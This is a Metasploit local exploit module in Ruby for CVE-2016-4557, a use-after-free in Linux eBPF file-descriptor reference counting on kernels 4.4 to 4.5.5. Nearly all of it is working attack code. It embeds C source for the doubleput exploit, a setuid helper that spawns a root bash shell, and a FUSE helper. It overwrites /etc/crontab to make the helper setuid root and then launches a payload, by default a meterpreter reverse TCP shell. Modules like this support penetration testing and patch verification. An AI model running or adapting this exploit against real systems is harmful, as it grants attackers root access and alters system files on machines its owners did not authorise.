1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = GoodRanking
8

9
  include Msf::Post::File
10
  include Msf::Post::Linux::Priv
11
  include Msf::Post::Linux::System
12
  include Msf::Post::Linux::Kernel
13
  include Msf::Exploit::EXE
14
  include Msf::Exploit::FileDropper
15
  prepend Msf::Exploit::Remote::AutoCheck
16

17
  def initialize(info = {})
18
    super(
19
      update_info(
20
        info,
21
        'Name' => 'Linux BPF doubleput UAF Privilege Escalation',
22
        'Description' => %q{
23
          Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
24
          does not properly reference count file descriptors, resulting
25
          in a use-after-free, which can be abused to escalate privileges.
26

27
          The target system must be compiled with `CONFIG_BPF_SYSCALL`
28
          and must not have `kernel.unprivileged_bpf_disabled` set to 1.
29

30
          Note, this module will overwrite the first few lines
31
          of `/etc/crontab` with a new cron job. The job will
32
          need to be manually removed.
33

34
          This module has been tested successfully on Ubuntu 16.04 (x64)
35
          kernel 4.4.0-21-generic (default kernel).
36
        },
37
        'License' => MSF_LICENSE,
38
        'Author' => [
39
          '[email protected]', # discovery and exploit
40
          'h00die <[email protected]>' # metasploit module
41
        ],
42
        'Platform' => ['linux'],
43
        'Arch' => [ARCH_X86, ARCH_X64],
44
        'SessionTypes' => ['shell', 'meterpreter'],
45
        'DisclosureDate' => '2016-05-04',
46
        'Privileged' => true,
47
        'References' => [
48
          ['BID', '90309'],
49
          ['CVE', '2016-4557'],
50
          ['EDB', '39772'],
51
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'],
52
          ['URL', 'https://usn.ubuntu.com/2965-1/'],
53
          ['URL', 'https://launchpad.net/bugs/1578705'],
54
          ['URL', 'http://changelogs.ubuntu.com/changelogs/pool/main/l/linux/linux_4.4.0-22.39/changelog'],
55
          ['URL', 'https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4557.html'],
56
          ['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7']
57
        ],
58
        'Targets' => [
59
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
60
          [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
61
        ],
62
        'DefaultOptions' => {
63
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
64
          'PrependFork' => true,
65
          'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
66
        },
67
        'Notes' => {
68
          'AKA' =>
69
                   [
70
                     'double-fdput',
71
                     'doubleput.c'
72
                   ],
73
          'Stability' => UNKNOWN_STABILITY,
74
          'Reliability' => UNKNOWN_RELIABILITY,
75
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
76
        },
77
        'DefaultTarget' => 1,
78
        'Compat' => {
79
          'Meterpreter' => {
80
            'Commands' => %w[
81
              stdapi_fs_delete_file
82
              stdapi_sys_process_execute
83
            ]
84
          }
85
        }
86
      )
87
    )
88
    register_options [
89
      OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
90
      OptInt.new('MAXWAIT', [true, 'Max time to wait for decrementation in seconds', 120])
91
    ]
92
    register_advanced_options [
93
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
94
    ]
95
  end
96

97
  def base_dir
98
    datastore['WritableDir'].to_s
99
  end
100

101
  def exploit_data(file)
102
    ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', file)
103
  end
104

105
  def upload(path, data)
106
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
107
    rm_f path
108
    write_file path, data
109
    register_file_for_cleanup path
110
  end
111

112
  def upload_and_chmodx(path, data)
113
    upload path, data
114
    chmod path
115
  end
116

117
  def live_compile?
118
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
119

120
    return true if has_prereqs?
121

122
    unless datastore['COMPILE'].eql? 'Auto'
123
      fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'
124
    end
125
  end
126

127
  def has_prereqs?
128
    def check_libfuse_dev?
129
      lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
130
      if lib.include?('install')
131
        vprint_good('libfuse-dev is installed')
132
        return true
133
      else
134
        print_error('libfuse-dev is not installed.  Compiling will fail.')
135
        return false
136
      end
137
    end
138

139
    def check_gcc?
140
      if has_gcc?
141
        vprint_good('gcc is installed')
142
        return true
143
      else
144
        print_error('gcc is not installed.  Compiling will fail.')
145
        return false
146
      end
147
    end
148

149
    def check_pkgconfig?
150
      lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
151
      if lib.include?('install')
152
        vprint_good('pkg-config is installed')
153
        return true
154
      else
155
        print_error('pkg-config is not installed.  Exploitation will fail.')
156
        return false
157
      end
158
    end
159

160
    return check_libfuse_dev? && check_gcc? && check_pkgconfig?
161
  end
162

163
  def upload_and_compile(path, data, gcc_args = '')
164
    upload "#{path}.c", data
165

166
    gcc_cmd = "gcc -o #{path} #{path}.c"
167
    if session.type.eql? 'shell'
168
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
169
    end
170

171
    unless gcc_args.to_s.blank?
172
      gcc_cmd << " #{gcc_args}"
173
    end
174

175
    output = cmd_exec gcc_cmd
176

177
    unless output.blank?
178
      print_error output
179
      fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
180
    end
181

182
    register_file_for_cleanup path
183
    chmod path
184
  end
185

186
  def check
187
    release = kernel_release
188
    version = kernel_version
189

190
    if Rex::Version.new(release.split('-').first) < Rex::Version.new('4.4') ||
191
       Rex::Version.new(release.split('-').first) > Rex::Version.new('4.5.5')
192
      vprint_error "Kernel version #{release} #{version} is not vulnerable"
193
      return CheckCode::Safe
194
    end
195

196
    if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/
197
      if $1.to_i > 21
198
        vprint_error "Kernel version #{release} is not vulnerable"
199
        return CheckCode::Safe
200
      end
201
    end
202
    vprint_good "Kernel version #{release} #{version} appears to be vulnerable"
203

204
    lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s
205
    unless lib.include?('install')
206
      print_error('fuse package is not installed.  Exploitation will fail.')
207
      return CheckCode::Safe
208
    end
209
    vprint_good('fuse package is installed')
210

211
    fuse_mount = "#{base_dir}/fuse_mount"
212
    if directory? fuse_mount
213
      vprint_error("#{fuse_mount} should be unmounted and deleted.  Exploitation will fail.")
214
      return CheckCode::Safe
215
    end
216
    vprint_good("#{fuse_mount} doesn't exist")
217

218
    config = kernel_config
219

220
    if config.nil?
221
      vprint_error 'Could not retrieve kernel config'
222
      return CheckCode::Unknown
223
    end
224

225
    unless config.include? 'CONFIG_BPF_SYSCALL=y'
226
      vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
227
      return CheckCode::Safe
228
    end
229
    vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
230

231
    if unprivileged_bpf_disabled?
232
      vprint_error 'Unprivileged BPF loading is not permitted'
233
      return CheckCode::Safe
234
    end
235
    vprint_good 'Unprivileged BPF loading is permitted'
236

237
    CheckCode::Appears
238
  end
239

240
  def exploit
241
    if !datastore['ForceExploit'] && is_root?
242
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
243
    end
244

245
    unless writable? base_dir
246
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
247
    end
248

249
    if nosuid? base_dir
250
      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
251
    end
252

253
    doubleput = %q{
254
      #define _GNU_SOURCE
255
      #include <stdbool.h>
256
      #include <errno.h>
257
      #include <err.h>
258
      #include <unistd.h>
259
      #include <fcntl.h>
260
      #include <sched.h>
261
      #include <signal.h>
262
      #include <stdlib.h>
263
      #include <stdio.h>
264
      #include <string.h>
265
      #include <sys/types.h>
266
      #include <sys/stat.h>
267
      #include <sys/syscall.h>
268
      #include <sys/prctl.h>
269
      #include <sys/uio.h>
270
      #include <sys/mman.h>
271
      #include <sys/wait.h>
272
      #include <linux/bpf.h>
273
      #include <linux/kcmp.h>
274

275
      #ifndef __NR_bpf
276
      # if defined(__i386__)
277
      #  define __NR_bpf 357
278
      # elif defined(__x86_64__)
279
      #  define __NR_bpf 321
280
      # elif defined(__aarch64__)
281
      #  define __NR_bpf 280
282
      # else
283
      #  error
284
      # endif
285
      #endif
286

287
      int uaf_fd;
288

289
      int task_b(void *p) {
290
        /* step 2: start writev with slow IOV, raising the refcount to 2 */
291
        char *cwd = get_current_dir_name();
292
        char data[2048];
293
        sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
294
        struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
295
        if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
296
          errx(1, "system() failed");
297
        int fuse_fd = open("fuse_mount/hello", O_RDWR);
298
        if (fuse_fd == -1)
299
          err(1, "unable to open FUSE fd");
300
        if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
301
          errx(1, "unable to write to FUSE fd");
302
        struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
303
        if (iov_ == MAP_FAILED)
304
          err(1, "unable to mmap FUSE fd");
305
        fputs("starting writev\n", stderr);
306
        ssize_t writev_res = writev(uaf_fd, iov_, 1);
307
        /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
308
        if (writev_res == -1)
309
          err(1, "writev failed");
310
        if (writev_res != strlen(data))
311
          errx(1, "writev returned %d", (int)writev_res);
312
        fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
313
        while (1) sleep(1); /* whatever, just don't crash */
314
      }
315

316
      void make_setuid(void) {
317
        /* step 1: open writable UAF fd */
318
        uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
319
        if (uaf_fd == -1)
320
          err(1, "unable to open UAF fd");
321
        /* refcount is now 1 */
322

323
        char child_stack[20000];
324
        int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
325
        if (child == -1)
326
          err(1, "clone");
327
        sleep(3);
328
        /* refcount is now 2 */
329

330
        /* step 2+3: use BPF to remove two references */
331
        for (int i=0; i<2; i++) {
332
          struct bpf_insn insns[2] = {
333
            {
334
              .code = BPF_LD | BPF_IMM | BPF_DW,
335
              .src_reg = BPF_PSEUDO_MAP_FD,
336
              .imm = uaf_fd
337
            },
338
            {
339
            }
340
          };
341
          union bpf_attr attr = {
342
            .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
343
            .insn_cnt = 2,
344
            .insns = (__aligned_u64) insns,
345
            .license = (__aligned_u64)""
346
          };
347
          if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
348
            errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
349
          if (errno != EINVAL)
350
            err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
351
        }
352
        /* refcount is now 0, the file is freed soon-ish */
353

354
        /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
355
        int status;
356
        int hostnamefds[1000];
357
        int used_fds = 0;
358
        bool up = true;
359
        while (1) {
360
          if (waitpid(child, &status, WNOHANG) == child)
361
            errx(1, "child quit before we got a good file*");
362
          if (up) {
363
            hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
364
            if (hostnamefds[used_fds] == -1)
365
              err(1, "open target file");
366
            if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
367
            used_fds++;
368
            if (used_fds == 1000) up = false;
369
          } else {
370
            close(hostnamefds[--used_fds]);
371
            if (used_fds == 0) up = true;
372
          }
373
        }
374
        fputs("woohoo, got pointer reuse\n", stderr);
375
        while (1) sleep(1); /* whatever, just don't crash */
376
      }
377

378
      int main(void) {
379
        pid_t child = fork();
380
        if (child == -1)
381
          err(1, "fork");
382
        if (child == 0)
383
          make_setuid();
384
        struct stat helperstat;
385
        while (1) {
386
          if (stat("suidhelper", &helperstat))
387
            err(1, "stat suidhelper");
388
          if (helperstat.st_mode & S_ISUID)
389
            break;
390
          sleep(1);
391
        }
392
        fputs("suid file detected, launching rootshell...\n", stderr);
393
        execl("./suidhelper", "suidhelper", NULL);
394
        err(1, "execl suidhelper");
395
      }
396
    }
397

398
    suid_helper = %q{
399
      #include <unistd.h>
400
      #include <err.h>
401
      #include <stdio.h>
402
      #include <sys/types.h>
403

404
      int main(void) {
405
        if (setuid(0) || setgid(0))
406
          err(1, "setuid/setgid");
407
        fputs("we have root privs now...\n", stderr);
408
        execl("/bin/bash", "bash", NULL);
409
        err(1, "execl");
410
      }
411

412
    }
413

414
    hello = %q{
415
      /*
416
        FUSE: Filesystem in Userspace
417
        Copyright (C) 2001-2007  Miklos Szeredi <[email protected]>
418
        heavily modified by Jann Horn <[email protected]>
419

420
        This program can be distributed under the terms of the GNU GPL.
421
        See the file COPYING.
422

423
        gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
424
      */
425

426
      #define FUSE_USE_VERSION 26
427

428
      #include <fuse.h>
429
      #include <stdio.h>
430
      #include <string.h>
431
      #include <errno.h>
432
      #include <fcntl.h>
433
      #include <unistd.h>
434
      #include <err.h>
435
      #include <sys/uio.h>
436

437
      static const char *hello_path = "/hello";
438

439
      static char data_state[sizeof(struct iovec)];
440

441
      static int hello_getattr(const char *path, struct stat *stbuf)
442
      {
443
        int res = 0;
444
        memset(stbuf, 0, sizeof(struct stat));
445
        if (strcmp(path, "/") == 0) {
446
          stbuf->st_mode = S_IFDIR | 0755;
447
          stbuf->st_nlink = 2;
448
        } else if (strcmp(path, hello_path) == 0) {
449
          stbuf->st_mode = S_IFREG | 0666;
450
          stbuf->st_nlink = 1;
451
          stbuf->st_size = sizeof(data_state);
452
          stbuf->st_blocks = 0;
453
        } else
454
          res = -ENOENT;
455
        return res;
456
      }
457

458
      static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
459
        filler(buf, ".", NULL, 0);
460
        filler(buf, "..", NULL, 0);
461
        filler(buf, hello_path + 1, NULL, 0);
462
        return 0;
463
      }
464

465
      static int hello_open(const char *path, struct fuse_file_info *fi) {
466
        return 0;
467
      }
468

469
      static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
470
        sleep(10);
471
        size_t len = sizeof(data_state);
472
        if (offset < len) {
473
          if (offset + size > len)
474
            size = len - offset;
475
          memcpy(buf, data_state + offset, size);
476
        } else
477
          size = 0;
478
        return size;
479
      }
480

481
      static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
482
        if (offset != 0)
483
          errx(1, "got write with nonzero offset");
484
        if (size != sizeof(data_state))
485
          errx(1, "got write with size %d", (int)size);
486
        memcpy(data_state + offset, buf, size);
487
        return size;
488
      }
489

490
      static struct fuse_operations hello_oper = {
491
        .getattr	= hello_getattr,
492
        .readdir	= hello_readdir,
493
        .open		= hello_open,
494
        .read		= hello_read,
495
        .write		= hello_write,
496
      };
497

498
      int main(int argc, char *argv[]) {
499
        return fuse_main(argc, argv, &hello_oper, NULL);
500
      }
501
    }
502

503
    @hello_name = 'hello'
504
    hello_path = "#{base_dir}/#{@hello_name}"
505
    @doubleput_name = 'doubleput'
506
    doubleput_path = "#{base_dir}/#{@doubleput_name}"
507
    @suidhelper_path = "#{base_dir}/suidhelper"
508
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"
509

510
    if live_compile?
511
      vprint_status 'Live compiling exploit on system...'
512

513
      upload_and_compile(hello_path, hello, '-Wall -std=gnu99 `pkg-config fuse --cflags --libs`')
514
      upload_and_compile(doubleput_path, doubleput, '-Wall')
515
      upload_and_compile(@suidhelper_path, suid_helper, '-Wall')
516
    else
517
      vprint_status 'Dropping pre-compiled exploit on system...'
518

519
      upload_and_chmodx(hello_path, exploit_data('hello'))
520
      upload_and_chmodx(doubleput_path, exploit_data('doubleput'))
521
      upload_and_chmodx(@suidhelper_path, exploit_data('suidhelper'))
522
    end
523

524
    vprint_status 'Uploading payload...'
525
    upload_and_chmodx(payload_path, generate_payload_exe)
526

527
    print_status('Launching exploit. This may take up to 120 seconds.')
528
    print_warning('This module adds a job to /etc/crontab which requires manual removal!')
529

530
    register_dir_for_cleanup "#{base_dir}/fuse_mount"
531
    cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "
532
    sec_waited = 0
533
    until sec_waited > datastore['MAXWAIT'] do
534
      Rex.sleep(5)
535
      # check file permissions
536
      if setuid? @suidhelper_path
537
        print_good("Success! set-uid root #{@suidhelper_path}")
538
        cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "
539
        return
540
      end
541
      sec_waited += 5
542
    end
543
    print_error "Failed to set-uid root #{@suidhelper_path}"
544
  end
545

546
  def cleanup
547
    cmd_exec "killall #{@hello_name}"
548
    cmd_exec "killall #{@doubleput_name}"
549
  ensure
550
    super
551
  end
552

553
  def on_new_session(session)
554
    # remove root owned SUID executable and kill running exploit processes
555
    if session.type.eql? 'meterpreter'
556
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
557
      session.fs.file.rm @suidhelper_path
558
      session.sys.process.execute '/bin/sh', "-c 'killall #{@doubleput_name}'"
559
      session.sys.process.execute '/bin/sh', "-c 'killall #{@hello_name}'"
560
      session.fs.file.rm "#{base_dir}/fuse_mount"
561
    else
562
      session.shell_command_token "rm -f '#{@suidhelper_path}'"
563
      session.shell_command_token "killall #{@doubleput_name}"
564
      session.shell_command_token "killall #{@hello_name}"
565
      session.shell_command_token "rm -f '#{base_dir}/fuse_mount'"
566
    end
567
  ensure
568
    super
569
  end
570
end
571

572